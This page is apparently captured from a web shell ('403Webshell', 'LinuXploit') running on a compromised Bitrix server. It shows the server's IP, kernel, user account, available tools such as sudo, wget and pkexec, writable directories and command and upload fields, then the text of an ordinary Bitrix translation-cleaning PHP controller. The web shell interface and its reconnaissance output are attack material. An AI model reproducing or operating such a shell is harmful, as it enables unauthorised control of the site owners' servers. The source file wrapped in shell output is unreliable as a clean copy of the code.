403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/translate/lib/controller/editor/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/translate/lib/controller/editor/cleanethalon.php
<?php
namespace Bitrix\Translate\Controller\Editor;

use Bitrix\Main;
use Bitrix\Translate;
use Bitrix\Translate\Index;
use Bitrix\Main\Localization\Loc;

/**
 * Remove phrases by the ethalon language file.
 */
class CleanEthalon
	extends Translate\Controller\Editor\Operation
	implements Translate\Controller\ITimeLimit, Translate\Controller\IProcessParameters
{
	use Translate\Controller\Stepper;
	use Translate\Controller\ProcessParams;

	const SETTING_ID = 'TRANSLATE_CLEAN';

	/** @var string[] */
	private $pathList;

	/** @var int */
	private $seekOffset;

	/** @var string */
	private $seekLangPath;


	/**
	 * \Bitrix\Main\Engine\Action constructor.
	 *
	 * @param string $name Action name.
	 * @param Main\Engine\Controller $controller Parent controller object.
	 * @param array $config Additional configuration.
	 */
	public function __construct($name, Main\Engine\Controller $controller, array $config = [])
	{
		$this->keepField(['pathList', 'seekOffset', 'seekLangPath']);

		parent::__construct($name, $controller, $config);
	}


	/**
	 * Runs controller action.
	 *
	 * @param string[] $pathList Path list to update.
	 *
	 * @return array
	 */
	public function run($pathList)
	{
		if ($this->isNewProcess)
		{
			$pathList = \preg_split("/[\r\n]+/", $pathList);
			\array_walk($pathList, 'trim');
			$pathList = \array_unique(\array_filter($pathList));

			if (empty($pathList))
			{
				$this->addError(new Main\Error(Loc::getMessage('TR_CLEAN_EMPTY_PATH_LIST')));

				return [
					'STATUS' => Translate\Controller\STATUS_COMPLETED,
				];
			}

			foreach ($pathList as $testPath)
			{
				if (Translate\IO\Path::isPhpFile($testPath))
				{
					if (Translate\IO\Path::isLangDir($testPath))
					{
						$this->pathList[] = $testPath;
					}
					else
					{
						$this->addError(new Main\Error(Loc::getMessage('TR_CLEAN_FILE_NOT_LANG', ['#FILE#' => $testPath])));
					}
				}
				else
				{
					if (Translate\IO\Path::isLangDir($testPath))
					{
						$this->pathList[] = $testPath;
					}
					else
					{
						// load lang folders
						$pathFilter = [];
						$pathFilter[] = [
							'LOGIC' => 'OR',
							'=PATH' => \rtrim($testPath, '/'),
							'=%PATH' => \rtrim($testPath, '/'). '/%'
						];
						$pathLangRes = Index\Internals\PathLangTable::getList([
							'filter' => $pathFilter,
							'order' => ['ID' => 'ASC'],
							'select' => ['PATH'],
						]);
						while ($pathLang = $pathLangRes->fetch())
						{
							$this->pathList[] = $pathLang['PATH'];
						}
					}
				}
			}

			$this->totalItems = \count($this->pathList);
			$this->processedItems = 0;

			if ($this->totalItems == 0)
			{
				return [
					'STATUS' => Translate\Controller\STATUS_COMPLETED,
					'PROCESSED_ITEMS' => 0,
					'TOTAL_ITEMS' => 0,
				];
			}

			$this->saveProgressParameters();
			$this->isNewProcess = false;
		}

		return $this->performStep('runClearing');
	}

	/**
	 * Collects lang folder paths.
	 *
	 * @return array
	 */
	private function runClearing(): array
	{
		$processedItemCount = 0;
		for ($pos = ((int)$this->seekOffset > 0 ? (int)$this->seekOffset : 0), $total = \count($this->pathList); $pos < $total; $pos ++)
		{
			$testPath = $this->pathList[$pos];

			// file
			if (Translate\IO\Path::isPhpFile($testPath))
			{
				$this->cleanLangFile($testPath);
			}

			// folder
			else
			{
				if (\mb_substr($testPath, -5) === '/lang')
				{
					$testPath .= '/#LANG_ID#';
				}
				else
				{
					$testPath = Translate\IO\Path::replaceLangId($testPath, '#LANG_ID#');
				}

				foreach ($this->lookThroughLangFolder($testPath) as $filePaths)
				{
					foreach ($filePaths as $langFilePath => $fullPaths)
					{
						if (!empty($this->seekLangPath))
						{
							if ($this->seekLangPath == $langFilePath)
							{
								$this->seekLangPath = null;
							}

							continue;
						}

						$this->cleanLangFile($langFilePath);

						if ($this->instanceTimer()->hasTimeLimitReached())
						{
							$this->seekLangPath = $langFilePath;
							break 3;
						}
					}

					$this->seekLangPath = null;
				}
			}

			$processedItemCount ++;

			if (isset($this->pathList[$pos + 1]))
			{
				$this->seekOffset = $pos + 1;//next
			}
			else
			{
				$this->seekOffset = null;
				$this->declareAccomplishment();
				$this->clearProgressParameters();
			}

			if ($this->instanceTimer()->hasTimeLimitReached())
			{
				break;
			}
		}

		$this->processedItems += $processedItemCount;

		if ($this->instanceTimer()->hasTimeLimitReached() !== true)
		{
			$this->declareAccomplishment();
			$this->clearProgressParameters();
		}

		return [
			'PROCESSED_ITEMS' => $this->processedItems,
			'TOTAL_ITEMS' => $this->totalItems,
		];
	}


	/**
	 * Performs changed lang file.
	 *
	 * @param string $relLangPath Relative path to lang file.
	 *
	 * @return void
	 */
	private function cleanLangFile($relLangPath): void
	{
		$currentLang = Loc::getCurrentLang();
		$langPath = Translate\IO\Path::replaceLangId($relLangPath, $currentLang);
		$langFullPath = Translate\IO\Path::tidy(self::$documentRoot. '/'. $langPath);
		$langFullPath = Main\Localization\Translation::convertLangPath($langFullPath, $currentLang);

		// settings
		$langSettings = null;
		$settingsFile = Translate\Settings::instantiateByPath($langFullPath);
		if (($settingsFile instanceof Translate\Settings) && $settingsFile->load())
		{
			$langSettings = $settingsFile->getOptions($langFullPath)[Translate\Settings::OPTION_LANGUAGES];
		}

		try
		{
			$ethalonFile = Translate\File::instantiateByPath($langFullPath);
		}
		catch (Main\ArgumentException $ex)
		{
			return;
		}
		if ($ethalonFile instanceof Translate\File)
		{
			$ethalonFile
				->setLangId($currentLang)
				->setOperatingEncoding(Main\Localization\Translation::getSourceEncoding($currentLang));

			$isEthalonExists = false;
			if ($ethalonFile->isExists())
			{
				$isEthalonExists = $ethalonFile->loadTokens() || $ethalonFile->load();
			}
			if (!$isEthalonExists)
			{
				$this->deletePhraseIndex($ethalonFile);
			}

			foreach (self::$enabledLanguagesList as $langId)
			{
				if ($langId == $currentLang)
				{
					// ignore ethanol file
					continue;
				}

				if ($langSettings && in_array($langId, $langSettings, true))
				{
					// do not touch obligatory language
					continue;
				}

				$langPath = Translate\IO\Path::replaceLangId($relLangPath, $langId);
				$langFullPath = Translate\IO\Path::tidy(self::$documentRoot.'/'.$langPath);
				$langFullPath = Main\Localization\Translation::convertLangPath($langFullPath, $langId);

				try
				{
					$langFile = Translate\File::instantiateByPath($langFullPath);
				}
				catch (Main\ArgumentException $ex)
				{
					continue;
				}
				if ($langFile instanceof Translate\File)
				{
					$langFile
						->setLangId($langId)
						->setOperatingEncoding(Main\Localization\Translation::getSourceEncoding($langId));

					if ($langFile->isExists())
					{
						if ($isEthalonExists && ($langFile->loadTokens() || $langFile->load()))
						{
							$affected = false;
							foreach ($langFile as $code => $phrase)
							{
								if (!isset($ethalonFile[$code]))
								{
									unset($langFile[$code]);
									$affected = true;
								}
							}
							if ($affected)
							{
								$this->updateLangFile($langFile);
								$this->updatePhraseIndex($langFile);
							}
						}
						else
						{
							$this->deletePhraseIndex($langFile);
							$this->deleteLangFile($langFile);
						}
					}
					else
					{
						$langFile->deletePhraseIndex();
					}
				}
			}
		}
	}


	/**
	 * Returns progress option name
	 *
	 * @return string
	 */
	public function getProgressParameterOptionName()
	{
		return self::SETTING_ID;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit